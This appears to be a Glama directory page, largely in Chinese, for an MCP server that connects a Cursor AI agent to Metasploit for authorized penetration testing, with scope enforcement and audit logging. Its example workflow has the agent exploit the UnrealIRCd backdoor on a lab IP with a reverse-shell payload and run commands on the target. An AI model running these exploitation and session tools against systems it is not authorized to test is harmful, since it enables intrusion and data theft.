Skip to main content
Glama
deenesjakoruzh
Suzu-Testing

msf-harness

by Suzu-Testing
OverviewSchemaRelated ServersScoreDiscussions
Python
Local

Metasploit Cursor Harness

CI Python 3.10+ License: MIT Coverage

一个智能渗透测试工具，通过 MCP（模型上下文协议）将 Cursor AI 代理与 Metasploit Framework 连接起来。通过 54 个专用工具提供对 Metasploit RPC 的结构化、范围强制的访问，涵盖侦察、漏洞利用、会话管理、后渗透、内网渗透、载荷生成和数据库操作。

专为授权实验室和专业渗透测试工作流而构建，具有明确的交战规则、服务端策略强制、审计日志和符合 PTES 的阶段/门控方法论。

为什么选择本工具

能力

本工具

Official msfmcpd

GH05TCREW/MetasploitMCP

工具数量

54

~23

~15

服务端 ROE（CIDR、模块、会话）

是

否

否

Cursor 钩子（范围门控、风险评分、证据）

18 个脚本

否

否

PTES 工作流阶段/门控

7 个阶段，57 项技能

否

否

控制台优先的漏洞利用执行

是

否

是

asyncio.to_thread（非阻塞）

是

是

否

域授权

是（故障关闭）

否

否

自动 LHOST 检测

是（跨平台）

否

否

利用前检查门控

强制

否

否

审计日志 + 世界状态

是

否

否

自包含的渗透测试技能

5 个层级共 57 项技能

否

否

Related MCP server: MSFConsole MCP Server

功能特性

  • 54 个 MCP 工具，涵盖侦察、漏洞利用、会话、Meterpreter 操作、内网渗透、载荷、处理程序、工作区、控制台、数据库写入和实验室辅助功能

  • 控制台优先的漏洞利用，支持同步输出捕获、会话检测和失败解析

  • 服务端 ROE 强制：CIDR 范围、域授权、CIDR 宽度上限、会话限制、DoS 阻止、利用前检查门控

  • 18 个 Cursor 钩子脚本：范围验证、风险评分（0-100）、重复检测、证据日志、世界状态跟踪、凭据编辑

  • 57 项自包含代理技能：PTES 工作流、特定领域剧本（Web、AD、云、容器、移动、二进制、规避、服务级、漏洞类）

  • 5 个专业子代理：编排器、侦察、漏洞利用、后渗透、审查者

平台支持

平台

状态

备注

Windows + WSL2 + Kali

主要

完整的钩子管道，实验室 Docker 支持

原生 Linux / Kali

支持

钩子需要 pwsh；原生 msfrpcd

macOS + 远程 MSF

实验性

MCP 服务器可用；钩子需要 pwsh；将 MSF_HOST 指向远程 RPC

前提条件

  • Python 3.10+

  • Metasploit Framework（在 WSL/Kali 或原生 Linux 中）

  • 支持 MCP 的 Cursor IDE

  • 用于钩子管道的 PowerShell Core（pwsh）

  • 在 scope/scope-master.txt 中定义的授权目标

快速开始

1. 克隆并安装

git clone https://github.com/Suzu-Testing/metasploit-cursor-harness.git
cd metasploit-cursor-harness
python -m venv .venv
# Windows: .venv\Scripts\activate
# Linux/macOS: source .venv/bin/activate
pip install -e ".[mcp]"

2. 配置凭据

cp .env.example .env
# Edit .env: set MSF_PASSWORD (must match what you pass to msfrpcd)

3. 启动 Metasploit RPC

Windows (WSL)：

.\scripts\start-msfrpcd.ps1

Linux / Kali（原生）：

./scripts/start-msfrpcd.sh

4. 在 Cursor 中启用 MCP

cp .cursor/mcp.json.example .cursor/mcp.json
# Edit mcp.json: set "cwd" to your absolute project path

在 Cursor 设置 > MCP 中切换 msf-harness 为开启。

5. 验证设置

python scripts/doctor.py       # Check all prerequisites
python scripts/validate-mcp.py  # Test RPC connectivity

然后在 Cursor 聊天中运行 msf_status 以确认 MCP 连接。

6. 实验室目标（可选）

有关内置的 Metasploitable2 Docker 实验室，请参阅 docs/LAB.md。

对于 HackTheBox、TryHackMe、OSCP 或您自己的目标，请参阅 docs/BYO-TARGETS.md。

有关详细的设置说明，请参阅 docs/SETUP.md。

或者运行一键引导：

.\scripts\bootstrap.ps1

你的第一个漏洞利用

设置完成且 msf_status 在 Cursor 聊天中正常工作后，请针对 Docker 实验室尝试此端到端演示：

1. 启动实验室目标：

.\scripts\start-lab-targets.ps1

2. 在 Cursor 聊天中，让代理利用实验室：

扫描位于 10.255.255.254 端口 9667 的实验室目标，并使用参与 lab-default 利用 UnrealIRCd 后门。

代理将：

  1. 运行 msf_module_check 以验证目标是否存在漏洞（ROE 要求）

  2. 调用 msf_get_lab_network 自动检测 LHOST

  3. 使用 exploit/unix/irc/unreal_ircd_3281_backdoor 运行 msf_run_exploit

  4. 调用 msf_list_active_sessions 确认 shell

  5. 使用 msf_send_session_command 在目标上运行命令

或者使用单独的 MCP 工具调用逐步完成：

msf_status                              # Verify RPC connection
msf_get_lab_network                     # Get LHOST and port map
msf_module_check(...)                   # Probe for vulnerability
msf_run_exploit(...)                    # Pop a shell
msf_send_session_command(command="id")  # Run commands on target

有关完整的端口映射和特定漏洞利用说明，请参阅 docs/LAB.md。

架构

Cursor Agent
  |-- Rules (.cursor/rules/: ROE, MCP routing, workflow orchestration)
  |-- Skills (.cursor/skills/: 57 pentest playbooks)
  |-- Hooks (.cursor/hooks/: 18 safety scripts, scope gates + evidence logging)
  |-- Subagents (.cursor/agents/: orchestrator, recon, exploit, post, reviewer)
  |
  v
msf-harness MCP Server (Python, FastMCP, stdio transport)
  |-- Read tools (23: search, info, hosts, services, vulns, creds, loot, etc.)
  |-- Action tools (31: exploit, aux, post, sessions, handlers, payloads, etc.)
  |-- Policy/ROE (server-side CIDR, domain, module, session validation)
  |-- Console engine (synchronous module execution with output capture)
  |
  v
msfrpcd (WSL/Kali or native Linux, MessagePack RPC, 127.0.0.1:55553)
  |
  v
msfdb (PostgreSQL)

MCP 工具（共 54 个）

只读（无需 engagement_id）

工具

用途

msf_status

检查 RPC 连接、版本、会话数量

msf_search_modules

按关键字、CVE 或名称搜索模块

msf_module_info

模块选项、目标、引用、等级

msf_module_options

获取模块的可配置选项

msf_running_stats

获取当前正在运行的模块的统计信息

msf_list_modules

按类型列出模块，可带可选过滤器

msf_host_info

从 msfdb 查询已发现的主机

msf_service_info

查询已发现的服务（端口、协议）

msf_vulnerability_info

查询漏洞记录

msf_note_info

查询注释/笔记

msf_credential_info

查询收集的凭据

msf_loot_info

查询收集的战利品/文件

msf_list_active_sessions

列出当前会话及其类型和目标

msf_session_info

获取单个会话的详细信息

msf_list_listeners

列出活动的处理程序/后台作业

msf_job_info

获取特定作业的详细信息

msf_list_payloads

按名称/平台/架构搜索可用载荷

msf_compatible_payloads

列出与给定模块兼容的载荷

msf_list_workspaces

列出数据库工作区

msf_db_status

检查数据库连接和驱动程序信息

msf_console_list

列出活动的 RPC 控制台实例

msf_get_lab_network

获取实验室目标配置（Docker 端口、LHOST）

msf_route_list

列出用于会话内网渗透的活动路由

操作（需要 engagement_id）

工具

用途

msf_module_check

安全漏洞探测（非利用性）

msf_module_results

按 UUID 查询异步模块作业的结果

msf_run_exploit

执行漏洞利用模块（控制台或 RPC 作业模式，可配置超时）

msf_run_auxiliary_module

运行辅助模块（扫描器、模糊器；可选控制台模式）

msf_run_post_module

在会话上运行后渗透模块（可选控制台模式）

msf_send_session_command

在活动 shell/meterpreter 中执行命令

msf_terminate_session

终止会话

msf_wait_for_session

在漏洞利用/处理程序后轮询新会话

msf_session_upgrade

将 shell 升级为 Meterpreter

msf_session_sysinfo

从 Meterpreter 会话获取操作系统/架构/主机名

msf_session_getuid

从 Meterpreter 会话获取当前用户身份

msf_session_ps

列出 Meterpreter 会话中正在运行的进程

msf_session_download

从目标下载文件到 evidence/

msf_session_upload

从 evidence/ 上传文件到目标（沙盒化）

msf_session_run_script

在会话中运行 Meterpreter 脚本

msf_start_listener

启动 multi/handler 监听器

msf_stop_job

停止后台作业

msf_cleanup_jobs

停止所有后台作业以释放端口

msf_generate_payload

生成载荷文件（保存到 evidence/）

msf_create_workspace

创建数据库工作区

msf_set_workspace

切换活动工作区

msf_delete_workspace

删除数据库工作区

msf_db_import

导入扫描数据（nmap XML、Nessus 等）

msf_db_nmap

运行 nmap 并自动导入结果

msf_console_execute

通过 RPC 运行任意 msfconsole 命令

msf_route_add

通过会话添加路由以进行内网渗透

msf_route_delete

删除路由

msf_autoroute

通过 post/multi/manage/autoroute 自动添加路由

msf_report_host

手动向数据库报告主机

msf_credential_add

将发现的凭据存储到数据库

msf_db_add_note

向数据库添加注释/注解

示例工作流

# 1. Verify connection
msf_status()

# 2. Scan target ports
msf_run_auxiliary_module(
  engagement_id="lab-default",
  module_name="auxiliary/scanner/portscan/tcp",
  options={"RHOSTS": "10.255.255.254", "PORTS": "9021,9667,9080"}
)

# 3. Check what's open
msf_service_info(host="10.255.255.254")

# 4. Check before exploit (required by ROE)
msf_module_check(
  engagement_id="lab-default",
  module_type="exploit",
  module_name="unix/irc/unreal_ircd_3281_backdoor",
  options={"RHOSTS": "10.255.255.254", "RPORT": 9667}
)

# 5. Exploit with auto-detected LHOST
lab = msf_get_lab_network()
msf_run_exploit(
  engagement_id="lab-default",
  module_name="unix/irc/unreal_ircd_3281_backdoor",
  options={"RHOSTS": "10.255.255.254", "RPORT": 9667},
  payload="generic/shell_reverse_tcp",
  payload_options={"LHOST": lab["data"]["lhost"], "LPORT": 4449},
  run_check_first=True
)

安全模型

  1. 服务端 ROE（msf_harness/mcp/policy/roe.py）：根据参与范围的 CIDR 验证目标，阻止被禁止的模块，强制执行会话限制，限制 CIDR 扫描宽度，要求先检查后利用，验证域名（失败即关闭）

  2. Cursor 钩子（.cursor/hooks/）：对每条 shell 命令和 MCP 调用进行范围门控，风险评分（0-100，含 CRITICAL 升级），重复检测，审计日志记录到 logs/command-ledger.jsonl，证据自动保存，凭据脱敏

  3. 控制台命令解析：msf_console_execute 从原始命令中提取并验证 RHOSTS、模块路径和 db_nmap 目标

  4. 文件路径限制：msf_db_import 和 msf_generate_payload 仅限于 evidence/ 和 engagements/ 目录

  5. DoS 模块（auxiliary/dos/*）无条件阻止

  6. 输入清理：nmap 参数白名单化，选项键经过验证，控制台值进行引号转义

仅可在您获得授权测试的系统上使用。

故障排除

症状

修复

msf_status 提示"无法连接到 msfrpcd"

运行 .\scripts\start-msfrpcd.ps1；使用 wsl -e bash -lc "ss -tlnp | grep 55553" 验证 msfrpcd 正在监听

MCP 服务器未出现在 Cursor 中

确保 .cursor/mcp.json 中的 cwd 和 PYTHONPATH 使用绝对路径；重启 Cursor

"MSF_PASSWORD 未设置"

在 .env 中设置（如有需要可从 .env.example 复制）

"目标不在范围内"或 ROE 拒绝

将目标 IP/CIDR 添加到 scope/scope-master.txt 和 engagements/<id>/roe.yaml 的 authorized_cidrs 中

模块检查失败并提示"不支持"

某些模块缺少 check 方法；这是正常现象。请谨慎操作。

利用后无会话

验证 LHOST 是否正确（msf_get_lab_network）；检查防火墙；尝试不同的 payload

Cursor 输出中出现钩子错误

验证已安装 pwsh（PowerShell 7+）：winget install Microsoft.PowerShell

Python 导入错误

在项目根目录运行 pip install -e ".[mcp]"

运行 python scripts/doctor.py 进行完整的先决条件健康检查。

开发

pip install -e ".[mcp,dev]"
python -m pytest tests/ -v                                    # 269 Python tests
pwsh -ExecutionPolicy Bypass -File scripts/test-hooks.ps1     # 120 hook tests
python scripts/validate-mcp.py                                # RPC connectivity

有关开发环境和 PR 指南，请参阅 CONTRIBUTING.md。

目录结构

路径

用途

msf_harness/mcp/

Python MCP 服务器包

msf_harness/mcp/tools/

MCP 工具实现（12 个模块，54 个工具）

msf_harness/mcp/rpc/

带自动重连的 Metasploit RPC 客户端

msf_harness/mcp/policy/

ROE 强制执行（CIDR、域名、模块、会话、利用门控）

scope/

授权的目标 CIDR 和域名

engagements/

每个参与范围的 ROE 配置和工作流状态

evidence/msf/

捕获的证据（已 gitignore）

logs/

钩子审计日志和命令台账（已 gitignore）

.cursor/hooks/

PowerShell Core 安全门控（18 个脚本）

.cursor/skills/

Agent 工作流剧本（57 个技能）

.cursor/agents/

自定义子代理定义（5 个代理）

.cursor/rules/

常驻代理指南（3 条规则 + AGENTS.md）

scripts/

实用脚本（启动 RPC、创建参与范围、健康检查、验证 MCP）

tests/

Pytest + 钩子测试套件

docs/

设置指南、实验室指南、自带目标指南

许可证

MIT

致谢

This server cannot be installed

A
license - permissive license
Not graded
quality - not tested
C
maintenance

How are these scores calculated?

Maintenance

–Maintainers
–Response time
–Release cycle
–Releases (12mo)
Commit activity

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Servers

  • MSFConsole MCP Server

    LYFTIUM-INC
    A
    license
    Not graded
    quality
    D
    maintenance
    Enables secure integration with Metasploit Framework for AI assistants, providing comprehensive access to penetration testing tools, module management, payload generation, and database operations. Designed for authorized security testing and defensive analysis with 28 specialized tools covering complete MSF functionality.
    8
    MIT

  • MSFConsole MCP Server

    PreistlyPython
    -
    license
    Not graded
    quality
    Not graded
    maintenance
    Enables AI assistants to interact with Metasploit Framework through 28 comprehensive tools for penetration testing and security analysis. Provides secure, structured access to MSF modules, database operations, session management, and payload generation capabilities.
    2

View all related MCP servers

Related MCP Connectors

  • mcp-server

    MCP server for Pentest-Tools.com: run scans, manage findings and reports via your preffered LLM.

  • ToolAPI

    Free public MCP for AI agents — 193 tools, 44 workflows. No API key.

  • MCP Fortress

    Security scanner for MCP servers. Detect vulnerabilities, prompt injection, and tool poisoning.

View all MCP Connectors

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/Suzu-Testing/metasploit-cursor-harness'

If you have feedback or need assistance with the MCP directory API, please join our Discord server